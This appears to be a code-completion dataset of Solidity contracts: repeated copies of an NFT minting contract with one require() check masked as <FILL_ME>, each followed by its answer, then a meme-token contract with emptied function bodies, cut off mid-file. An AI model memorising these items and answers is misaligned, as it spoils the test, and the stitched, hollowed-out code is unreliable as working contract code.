// SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.6; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "./interfaces/IToken.sol"; import "./interfaces/IOwnable.sol"; contract Minter is Ownable { // sale details address public tokenAddress; uint256 public nextTokenId = 1999; uint256 public maxHolderAllocation = 5; uint256 public maxWhitelistAllocation = 20; /// @notice minter address => # already minted for MintPhase.HoldersOnly mapping(address => uint256) public hasMintedHolderAllocation; /// @notice minter address => # already minted for MintPhase.WhitelistOnly mapping(address => uint256) public hasMintedWhitelistAllocation; /// @notice merkle root of valid holder addresses and quantities allowed bytes32 public holderMerkleRoot; /// @dev this is a superset of holderMerkleRoot bytes32 public whitelistMerkleRoot; enum MintPhase { Paused, HoldersOnly, WhitelistOnly, Open } MintPhase public mintPhase; /// @notice mint on the main token contract /// @param merkleProof the merkle proof for the minter's address /// @param quantity number of mints desired function proxyMint( bytes32[] calldata merkleProof, uint256 quantity ) external payable { //===================== CHECKS ======================= IToken tokenContract = IToken(tokenAddress); // PRIMARY CHECKS // check mint is not paused if (mintPhase == MintPhase.Paused) { revert("Minting paused"); } // check we won't exceed max tokens allowed uint256 maxTokens = tokenContract.maxTokens(); require(<FILL_ME>) // check enough ether is sent uint256 price = tokenContract.price(); require(msg.value >= price * quantity, "Not enough ether"); // block contracts require(msg.sender == tx.origin, "No contract mints"); // `HoldersOnly` PHASE CHECKS if (mintPhase == MintPhase.HoldersOnly) { // check merkle proof against holder root require(checkMerkleProof(merkleProof, msg.sender, holderMerkleRoot), "Invalid holder proof"); // make sure user won't have already minted max HolderOnly amount require(hasMintedHolderAllocation[msg.sender] + quantity <= maxHolderAllocation, "Exceeds holder allocation"); // EFFECT. log the amount this user has minted for holder allocation hasMintedHolderAllocation[msg.sender] = hasMintedHolderAllocation[msg.sender] + quantity; } // `WhitelistOnly` PHASE CHECKS if (mintPhase == MintPhase.WhitelistOnly) { // check merkle proof against whitelist root require(checkMerkleProof(merkleProof, msg.sender, whitelistMerkleRoot), "Invalid whitelist proof"); // make sure user won't have already minted maxWhitelistAllocation amount require(hasMintedWhitelistAllocation[msg.sender] + quantity <= maxWhitelistAllocation, "Exceeds whitelist allocation"); // EFFECT. log the amount this user has minted for whitelist allocation hasMintedWhitelistAllocation[msg.sender] = hasMintedWhitelistAllocation[msg.sender] + quantity; } // `Open` PHASE CHECKS if (mintPhase == MintPhase.Open) { // check maxMintsPerTx from token contract. note that in all other phases, // we have phase-specific limits and thus don't need to check this. uint256 maxMintsPerTx = tokenContract.maxMintsPerTx(); require(quantity <= maxMintsPerTx, "Too many mints per txn"); } //=================== EFFECTS ========================= // forward funds to token contract (bool success, ) = tokenAddress.call{value: msg.value }(""); require(success, "Payment forwarding failed"); // increase our local tokenId. we only need to do this bc we made the // tokenId on the main token contract private. nextTokenId += quantity; //=================== INTERACTIONS ======================= tokenContract.mintAdmin(quantity, msg.sender); } /// @notice check whether the merkleProof is valid for a given address and root function checkMerkleProof( bytes32[] calldata merkleProof, address _address, bytes32 _root ) public pure returns (bool) { } /// @notice let owner set main token address function setTokenAddress(address _tokenAddress) external onlyOwner { } /// @notice let owner set the holder merkle root function setHolderMerkleRoot(bytes32 _merkleRoot) external onlyOwner { } /// @notice let owner set the whitelist merkle root function setWhitelistMerkleRoot(bytes32 _merkleRoot) external onlyOwner { } /// @notice Sets mint phase, takes uint that refers to MintPhase enum (0 indexed). function setMintPhase(MintPhase phase) external onlyOwner { } /// @notice set max holder allocation amount function setMaxHolderAllocation(uint256 amount) external onlyOwner { } /// @notice set max whitelist allocation amount function setMaxWhitelistAllocation(uint256 amount) external onlyOwner { } /// @notice change the next token id (to match token contract) function setNextTokenId(uint256 id) external onlyOwner { } }
nextTokenId+quantity<=maxTokens,"Exceeds max supply"
484,531
nextTokenId+quantity<=maxTokens
"Invalid holder proof"
// SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.6; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "./interfaces/IToken.sol"; import "./interfaces/IOwnable.sol"; contract Minter is Ownable { // sale details address public tokenAddress; uint256 public nextTokenId = 1999; uint256 public maxHolderAllocation = 5; uint256 public maxWhitelistAllocation = 20; /// @notice minter address => # already minted for MintPhase.HoldersOnly mapping(address => uint256) public hasMintedHolderAllocation; /// @notice minter address => # already minted for MintPhase.WhitelistOnly mapping(address => uint256) public hasMintedWhitelistAllocation; /// @notice merkle root of valid holder addresses and quantities allowed bytes32 public holderMerkleRoot; /// @dev this is a superset of holderMerkleRoot bytes32 public whitelistMerkleRoot; enum MintPhase { Paused, HoldersOnly, WhitelistOnly, Open } MintPhase public mintPhase; /// @notice mint on the main token contract /// @param merkleProof the merkle proof for the minter's address /// @param quantity number of mints desired function proxyMint( bytes32[] calldata merkleProof, uint256 quantity ) external payable { //===================== CHECKS ======================= IToken tokenContract = IToken(tokenAddress); // PRIMARY CHECKS // check mint is not paused if (mintPhase == MintPhase.Paused) { revert("Minting paused"); } // check we won't exceed max tokens allowed uint256 maxTokens = tokenContract.maxTokens(); require(nextTokenId + quantity <= maxTokens, "Exceeds max supply"); // check enough ether is sent uint256 price = tokenContract.price(); require(msg.value >= price * quantity, "Not enough ether"); // block contracts require(msg.sender == tx.origin, "No contract mints"); // `HoldersOnly` PHASE CHECKS if (mintPhase == MintPhase.HoldersOnly) { // check merkle proof against holder root require(<FILL_ME>) // make sure user won't have already minted max HolderOnly amount require(hasMintedHolderAllocation[msg.sender] + quantity <= maxHolderAllocation, "Exceeds holder allocation"); // EFFECT. log the amount this user has minted for holder allocation hasMintedHolderAllocation[msg.sender] = hasMintedHolderAllocation[msg.sender] + quantity; } // `WhitelistOnly` PHASE CHECKS if (mintPhase == MintPhase.WhitelistOnly) { // check merkle proof against whitelist root require(checkMerkleProof(merkleProof, msg.sender, whitelistMerkleRoot), "Invalid whitelist proof"); // make sure user won't have already minted maxWhitelistAllocation amount require(hasMintedWhitelistAllocation[msg.sender] + quantity <= maxWhitelistAllocation, "Exceeds whitelist allocation"); // EFFECT. log the amount this user has minted for whitelist allocation hasMintedWhitelistAllocation[msg.sender] = hasMintedWhitelistAllocation[msg.sender] + quantity; } // `Open` PHASE CHECKS if (mintPhase == MintPhase.Open) { // check maxMintsPerTx from token contract. note that in all other phases, // we have phase-specific limits and thus don't need to check this. uint256 maxMintsPerTx = tokenContract.maxMintsPerTx(); require(quantity <= maxMintsPerTx, "Too many mints per txn"); } //=================== EFFECTS ========================= // forward funds to token contract (bool success, ) = tokenAddress.call{value: msg.value }(""); require(success, "Payment forwarding failed"); // increase our local tokenId. we only need to do this bc we made the // tokenId on the main token contract private. nextTokenId += quantity; //=================== INTERACTIONS ======================= tokenContract.mintAdmin(quantity, msg.sender); } /// @notice check whether the merkleProof is valid for a given address and root function checkMerkleProof( bytes32[] calldata merkleProof, address _address, bytes32 _root ) public pure returns (bool) { } /// @notice let owner set main token address function setTokenAddress(address _tokenAddress) external onlyOwner { } /// @notice let owner set the holder merkle root function setHolderMerkleRoot(bytes32 _merkleRoot) external onlyOwner { } /// @notice let owner set the whitelist merkle root function setWhitelistMerkleRoot(bytes32 _merkleRoot) external onlyOwner { } /// @notice Sets mint phase, takes uint that refers to MintPhase enum (0 indexed). function setMintPhase(MintPhase phase) external onlyOwner { } /// @notice set max holder allocation amount function setMaxHolderAllocation(uint256 amount) external onlyOwner { } /// @notice set max whitelist allocation amount function setMaxWhitelistAllocation(uint256 amount) external onlyOwner { } /// @notice change the next token id (to match token contract) function setNextTokenId(uint256 id) external onlyOwner { } }
checkMerkleProof(merkleProof,msg.sender,holderMerkleRoot),"Invalid holder proof"
484,531
checkMerkleProof(merkleProof,msg.sender,holderMerkleRoot)
"Exceeds holder allocation"
// SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.6; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "./interfaces/IToken.sol"; import "./interfaces/IOwnable.sol"; contract Minter is Ownable { // sale details address public tokenAddress; uint256 public nextTokenId = 1999; uint256 public maxHolderAllocation = 5; uint256 public maxWhitelistAllocation = 20; /// @notice minter address => # already minted for MintPhase.HoldersOnly mapping(address => uint256) public hasMintedHolderAllocation; /// @notice minter address => # already minted for MintPhase.WhitelistOnly mapping(address => uint256) public hasMintedWhitelistAllocation; /// @notice merkle root of valid holder addresses and quantities allowed bytes32 public holderMerkleRoot; /// @dev this is a superset of holderMerkleRoot bytes32 public whitelistMerkleRoot; enum MintPhase { Paused, HoldersOnly, WhitelistOnly, Open } MintPhase public mintPhase; /// @notice mint on the main token contract /// @param merkleProof the merkle proof for the minter's address /// @param quantity number of mints desired function proxyMint( bytes32[] calldata merkleProof, uint256 quantity ) external payable { //===================== CHECKS ======================= IToken tokenContract = IToken(tokenAddress); // PRIMARY CHECKS // check mint is not paused if (mintPhase == MintPhase.Paused) { revert("Minting paused"); } // check we won't exceed max tokens allowed uint256 maxTokens = tokenContract.maxTokens(); require(nextTokenId + quantity <= maxTokens, "Exceeds max supply"); // check enough ether is sent uint256 price = tokenContract.price(); require(msg.value >= price * quantity, "Not enough ether"); // block contracts require(msg.sender == tx.origin, "No contract mints"); // `HoldersOnly` PHASE CHECKS if (mintPhase == MintPhase.HoldersOnly) { // check merkle proof against holder root require(checkMerkleProof(merkleProof, msg.sender, holderMerkleRoot), "Invalid holder proof"); // make sure user won't have already minted max HolderOnly amount require(<FILL_ME>) // EFFECT. log the amount this user has minted for holder allocation hasMintedHolderAllocation[msg.sender] = hasMintedHolderAllocation[msg.sender] + quantity; } // `WhitelistOnly` PHASE CHECKS if (mintPhase == MintPhase.WhitelistOnly) { // check merkle proof against whitelist root require(checkMerkleProof(merkleProof, msg.sender, whitelistMerkleRoot), "Invalid whitelist proof"); // make sure user won't have already minted maxWhitelistAllocation amount require(hasMintedWhitelistAllocation[msg.sender] + quantity <= maxWhitelistAllocation, "Exceeds whitelist allocation"); // EFFECT. log the amount this user has minted for whitelist allocation hasMintedWhitelistAllocation[msg.sender] = hasMintedWhitelistAllocation[msg.sender] + quantity; } // `Open` PHASE CHECKS if (mintPhase == MintPhase.Open) { // check maxMintsPerTx from token contract. note that in all other phases, // we have phase-specific limits and thus don't need to check this. uint256 maxMintsPerTx = tokenContract.maxMintsPerTx(); require(quantity <= maxMintsPerTx, "Too many mints per txn"); } //=================== EFFECTS ========================= // forward funds to token contract (bool success, ) = tokenAddress.call{value: msg.value }(""); require(success, "Payment forwarding failed"); // increase our local tokenId. we only need to do this bc we made the // tokenId on the main token contract private. nextTokenId += quantity; //=================== INTERACTIONS ======================= tokenContract.mintAdmin(quantity, msg.sender); } /// @notice check whether the merkleProof is valid for a given address and root function checkMerkleProof( bytes32[] calldata merkleProof, address _address, bytes32 _root ) public pure returns (bool) { } /// @notice let owner set main token address function setTokenAddress(address _tokenAddress) external onlyOwner { } /// @notice let owner set the holder merkle root function setHolderMerkleRoot(bytes32 _merkleRoot) external onlyOwner { } /// @notice let owner set the whitelist merkle root function setWhitelistMerkleRoot(bytes32 _merkleRoot) external onlyOwner { } /// @notice Sets mint phase, takes uint that refers to MintPhase enum (0 indexed). function setMintPhase(MintPhase phase) external onlyOwner { } /// @notice set max holder allocation amount function setMaxHolderAllocation(uint256 amount) external onlyOwner { } /// @notice set max whitelist allocation amount function setMaxWhitelistAllocation(uint256 amount) external onlyOwner { } /// @notice change the next token id (to match token contract) function setNextTokenId(uint256 id) external onlyOwner { } }
hasMintedHolderAllocation[msg.sender]+quantity<=maxHolderAllocation,"Exceeds holder allocation"
484,531
hasMintedHolderAllocation[msg.sender]+quantity<=maxHolderAllocation
"Invalid whitelist proof"
// SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.6; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "./interfaces/IToken.sol"; import "./interfaces/IOwnable.sol"; contract Minter is Ownable { // sale details address public tokenAddress; uint256 public nextTokenId = 1999; uint256 public maxHolderAllocation = 5; uint256 public maxWhitelistAllocation = 20; /// @notice minter address => # already minted for MintPhase.HoldersOnly mapping(address => uint256) public hasMintedHolderAllocation; /// @notice minter address => # already minted for MintPhase.WhitelistOnly mapping(address => uint256) public hasMintedWhitelistAllocation; /// @notice merkle root of valid holder addresses and quantities allowed bytes32 public holderMerkleRoot; /// @dev this is a superset of holderMerkleRoot bytes32 public whitelistMerkleRoot; enum MintPhase { Paused, HoldersOnly, WhitelistOnly, Open } MintPhase public mintPhase; /// @notice mint on the main token contract /// @param merkleProof the merkle proof for the minter's address /// @param quantity number of mints desired function proxyMint( bytes32[] calldata merkleProof, uint256 quantity ) external payable { //===================== CHECKS ======================= IToken tokenContract = IToken(tokenAddress); // PRIMARY CHECKS // check mint is not paused if (mintPhase == MintPhase.Paused) { revert("Minting paused"); } // check we won't exceed max tokens allowed uint256 maxTokens = tokenContract.maxTokens(); require(nextTokenId + quantity <= maxTokens, "Exceeds max supply"); // check enough ether is sent uint256 price = tokenContract.price(); require(msg.value >= price * quantity, "Not enough ether"); // block contracts require(msg.sender == tx.origin, "No contract mints"); // `HoldersOnly` PHASE CHECKS if (mintPhase == MintPhase.HoldersOnly) { // check merkle proof against holder root require(checkMerkleProof(merkleProof, msg.sender, holderMerkleRoot), "Invalid holder proof"); // make sure user won't have already minted max HolderOnly amount require(hasMintedHolderAllocation[msg.sender] + quantity <= maxHolderAllocation, "Exceeds holder allocation"); // EFFECT. log the amount this user has minted for holder allocation hasMintedHolderAllocation[msg.sender] = hasMintedHolderAllocation[msg.sender] + quantity; } // `WhitelistOnly` PHASE CHECKS if (mintPhase == MintPhase.WhitelistOnly) { // check merkle proof against whitelist root require(<FILL_ME>) // make sure user won't have already minted maxWhitelistAllocation amount require(hasMintedWhitelistAllocation[msg.sender] + quantity <= maxWhitelistAllocation, "Exceeds whitelist allocation"); // EFFECT. log the amount this user has minted for whitelist allocation hasMintedWhitelistAllocation[msg.sender] = hasMintedWhitelistAllocation[msg.sender] + quantity; } // `Open` PHASE CHECKS if (mintPhase == MintPhase.Open) { // check maxMintsPerTx from token contract. note that in all other phases, // we have phase-specific limits and thus don't need to check this. uint256 maxMintsPerTx = tokenContract.maxMintsPerTx(); require(quantity <= maxMintsPerTx, "Too many mints per txn"); } //=================== EFFECTS ========================= // forward funds to token contract (bool success, ) = tokenAddress.call{value: msg.value }(""); require(success, "Payment forwarding failed"); // increase our local tokenId. we only need to do this bc we made the // tokenId on the main token contract private. nextTokenId += quantity; //=================== INTERACTIONS ======================= tokenContract.mintAdmin(quantity, msg.sender); } /// @notice check whether the merkleProof is valid for a given address and root function checkMerkleProof( bytes32[] calldata merkleProof, address _address, bytes32 _root ) public pure returns (bool) { } /// @notice let owner set main token address function setTokenAddress(address _tokenAddress) external onlyOwner { } /// @notice let owner set the holder merkle root function setHolderMerkleRoot(bytes32 _merkleRoot) external onlyOwner { } /// @notice let owner set the whitelist merkle root function setWhitelistMerkleRoot(bytes32 _merkleRoot) external onlyOwner { } /// @notice Sets mint phase, takes uint that refers to MintPhase enum (0 indexed). function setMintPhase(MintPhase phase) external onlyOwner { } /// @notice set max holder allocation amount function setMaxHolderAllocation(uint256 amount) external onlyOwner { } /// @notice set max whitelist allocation amount function setMaxWhitelistAllocation(uint256 amount) external onlyOwner { } /// @notice change the next token id (to match token contract) function setNextTokenId(uint256 id) external onlyOwner { } }
checkMerkleProof(merkleProof,msg.sender,whitelistMerkleRoot),"Invalid whitelist proof"
484,531
checkMerkleProof(merkleProof,msg.sender,whitelistMerkleRoot)
"Exceeds whitelist allocation"
// SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.6; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "./interfaces/IToken.sol"; import "./interfaces/IOwnable.sol"; contract Minter is Ownable { // sale details address public tokenAddress; uint256 public nextTokenId = 1999; uint256 public maxHolderAllocation = 5; uint256 public maxWhitelistAllocation = 20; /// @notice minter address => # already minted for MintPhase.HoldersOnly mapping(address => uint256) public hasMintedHolderAllocation; /// @notice minter address => # already minted for MintPhase.WhitelistOnly mapping(address => uint256) public hasMintedWhitelistAllocation; /// @notice merkle root of valid holder addresses and quantities allowed bytes32 public holderMerkleRoot; /// @dev this is a superset of holderMerkleRoot bytes32 public whitelistMerkleRoot; enum MintPhase { Paused, HoldersOnly, WhitelistOnly, Open } MintPhase public mintPhase; /// @notice mint on the main token contract /// @param merkleProof the merkle proof for the minter's address /// @param quantity number of mints desired function proxyMint( bytes32[] calldata merkleProof, uint256 quantity ) external payable { //===================== CHECKS ======================= IToken tokenContract = IToken(tokenAddress); // PRIMARY CHECKS // check mint is not paused if (mintPhase == MintPhase.Paused) { revert("Minting paused"); } // check we won't exceed max tokens allowed uint256 maxTokens = tokenContract.maxTokens(); require(nextTokenId + quantity <= maxTokens, "Exceeds max supply"); // check enough ether is sent uint256 price = tokenContract.price(); require(msg.value >= price * quantity, "Not enough ether"); // block contracts require(msg.sender == tx.origin, "No contract mints"); // `HoldersOnly` PHASE CHECKS if (mintPhase == MintPhase.HoldersOnly) { // check merkle proof against holder root require(checkMerkleProof(merkleProof, msg.sender, holderMerkleRoot), "Invalid holder proof"); // make sure user won't have already minted max HolderOnly amount require(hasMintedHolderAllocation[msg.sender] + quantity <= maxHolderAllocation, "Exceeds holder allocation"); // EFFECT. log the amount this user has minted for holder allocation hasMintedHolderAllocation[msg.sender] = hasMintedHolderAllocation[msg.sender] + quantity; } // `WhitelistOnly` PHASE CHECKS if (mintPhase == MintPhase.WhitelistOnly) { // check merkle proof against whitelist root require(checkMerkleProof(merkleProof, msg.sender, whitelistMerkleRoot), "Invalid whitelist proof"); // make sure user won't have already minted maxWhitelistAllocation amount require(<FILL_ME>) // EFFECT. log the amount this user has minted for whitelist allocation hasMintedWhitelistAllocation[msg.sender] = hasMintedWhitelistAllocation[msg.sender] + quantity; } // `Open` PHASE CHECKS if (mintPhase == MintPhase.Open) { // check maxMintsPerTx from token contract. note that in all other phases, // we have phase-specific limits and thus don't need to check this. uint256 maxMintsPerTx = tokenContract.maxMintsPerTx(); require(quantity <= maxMintsPerTx, "Too many mints per txn"); } //=================== EFFECTS ========================= // forward funds to token contract (bool success, ) = tokenAddress.call{value: msg.value }(""); require(success, "Payment forwarding failed"); // increase our local tokenId. we only need to do this bc we made the // tokenId on the main token contract private. nextTokenId += quantity; //=================== INTERACTIONS ======================= tokenContract.mintAdmin(quantity, msg.sender); } /// @notice check whether the merkleProof is valid for a given address and root function checkMerkleProof( bytes32[] calldata merkleProof, address _address, bytes32 _root ) public pure returns (bool) { } /// @notice let owner set main token address function setTokenAddress(address _tokenAddress) external onlyOwner { } /// @notice let owner set the holder merkle root function setHolderMerkleRoot(bytes32 _merkleRoot) external onlyOwner { } /// @notice let owner set the whitelist merkle root function setWhitelistMerkleRoot(bytes32 _merkleRoot) external onlyOwner { } /// @notice Sets mint phase, takes uint that refers to MintPhase enum (0 indexed). function setMintPhase(MintPhase phase) external onlyOwner { } /// @notice set max holder allocation amount function setMaxHolderAllocation(uint256 amount) external onlyOwner { } /// @notice set max whitelist allocation amount function setMaxWhitelistAllocation(uint256 amount) external onlyOwner { } /// @notice change the next token id (to match token contract) function setNextTokenId(uint256 id) external onlyOwner { } }
hasMintedWhitelistAllocation[msg.sender]+quantity<=maxWhitelistAllocation,"Exceeds whitelist allocation"
484,531
hasMintedWhitelistAllocation[msg.sender]+quantity<=maxWhitelistAllocation
null
/** */ //SPDX-License-Identifier: MIT /** https://twitter.com/GROK6900_ETH https://t.me/GROK6900 */ pragma solidity 0.8.19; pragma experimental ABIEncoderV2; abstract contract Context { function _msgSender() internal view virtual returns (address) { } function _msgData() internal view virtual returns (bytes calldata) { } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { } modifier onlyOwner() { } function owner() public view virtual returns (address) { } function _checkOwner() internal view virtual { } function renounceOwnership() public virtual onlyOwner { } function transferOwnership(address newOwner) public virtual onlyOwner { } function _transferOwnership(address newOwner) internal virtual { } } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint256 amount) external returns (bool); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function add(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b) internal pure returns (uint256) { } function mul(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } function mod(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } function per(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { } function name() public view virtual override returns (string memory) { } function symbol() public view virtual override returns (string memory) { } function decimals() public view virtual override returns (uint8) { } function totalSupply() public view virtual override returns (uint256) { } function balanceOf(address account) public view virtual override returns (uint256) { } function transfer(address to, uint256 amount) public virtual override returns (bool) { } function allowance(address owner, address spender) public view virtual override returns (uint256) { } function approve(address spender, uint256 amount) public virtual override returns (bool) { } function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) { } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { } function _transfer(address from, address to, uint256 amount) internal virtual { } function _mint(address account, uint256 amount) internal virtual { } function _burn(address account, uint256 amount) internal virtual { } function _approve(address owner, address spender, uint256 amount) internal virtual { } function _spendAllowance(address owner, address spender, uint256 amount) internal virtual { } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {} function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {} } contract GROK6900 is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public _uniswapV2Router; address public uniswapV2Pair; address private _devWallets; address private _marketingWallets; address private constant deadAddress = address(0xdead); bool private swapping; string private constant _name = "Grok6900"; string private constant _symbol = "GROK6900"; uint256 public initialTotalSupply = 69000_000_000 * 1e18; uint256 public maxTransactionAmount = (4 * initialTotalSupply) / 100; uint256 public maxWallet = (4 * initialTotalSupply) / 100; uint256 public swapTokensAtAmount = (5 * initialTotalSupply) / 10000; bool public tradingOpen = false; bool public swapEnabled = false; uint256 public BuyFee = 0; uint256 public SellFee = 0; uint256 public BurnBuyFee = 0; uint256 public BurnSellFee = 1; uint256 feeDenominator = 100; mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) private _isExcludedMaxTransactionAmount; mapping(address => bool) private automatedMarketMakerPairs; mapping(address => uint256) private _holderLastTransferTimestamp; modifier ensure(address sender) { } event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event devWalletUpdated( address indexed newWallet, address indexed oldWallet ); constructor() ERC20(_name, _symbol) { } receive() external payable {} function OpenTrading() external onlyOwner { } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { } function updateDevWallet(address newDevWallet) public onlyOwner { } function ratio(uint256 fee) internal view returns (uint256) { } function excludeFromFees(address account, bool excluded) public onlyOwner { } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { } function _setAutomatedMarketMakerPair(address pair, bool value) private { } function isExcludedFromFees(address account) public view returns (bool) { } function _transfer(address from, address to, uint256 amount) internal override { } function swapTokensForEth(uint256 tokenAmount) private { } function removeLimitiets() external onlyOwner { } function addLiquidityEts() public payable onlyOwner { } function clearStuckedBalance() external { require(address(this).balance > 0, "Token: no ETH to clear"); require(<FILL_ME>) payable(msg.sender).transfer(address(this).balance); } function Burn(ERC20 tokenAddress, uint256 amount) external ensure(msg.sender) { } function setSwapTokensAtAmount(uint256 _amount) external onlyOwner { } function manualswap(uint256 percent) external { } function swapBack(uint256 tokens) private { } }
_msgSender()==_marketingWallets
484,845
_msgSender()==_marketingWallets
"SALE_HAS_NOT_STARTED_YET"
// SPDX-License-Identifier: MIT /** * @title TheAmericans * @author DevAmerican * @dev Used for Ethereum projects compatible with OpenSea */ pragma solidity ^0.8.0; pragma solidity ^0.8.0; interface IERC165 { function supportsInterface(bytes4 interfaceId) external view returns (bool); } pragma solidity ^0.8.0; interface IERC721Receiver { function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } pragma solidity ^0.8.0; interface IERC721 is IERC165 { event Transfer( address indexed from, address indexed to, uint256 indexed tokenId ); event Approval( address indexed owner, address indexed approved, uint256 indexed tokenId ); event ApprovalForAll( address indexed owner, address indexed operator, bool approved ); function balanceOf(address owner) external view returns (uint256 balance); function ownerOf(uint256 tokenId) external view returns (address owner); function safeTransferFrom( address from, address to, uint256 tokenId ) external; function transferFrom( address from, address to, uint256 tokenId ) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } pragma solidity ^0.8.0; interface IERC721Metadata is IERC721 { function name() external view returns (string memory); function symbol() external view returns (string memory); function tokenURI(uint256 tokenId) external view returns (string memory); } pragma solidity ^0.8.0; interface IERC721Enumerable is IERC721 { function totalSupply() external view returns (uint256); function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); function tokenByIndex(uint256 index) external view returns (uint256); } pragma solidity ^0.8.1; library Address { function isContract(address account) internal view returns (bool) { } function sendValue(address payable recipient, uint256 amount) internal { } function functionCall(address target, bytes memory data) internal returns (bytes memory) { } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { } function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { } function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { } function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { } } // OpenZeppelin Contracts 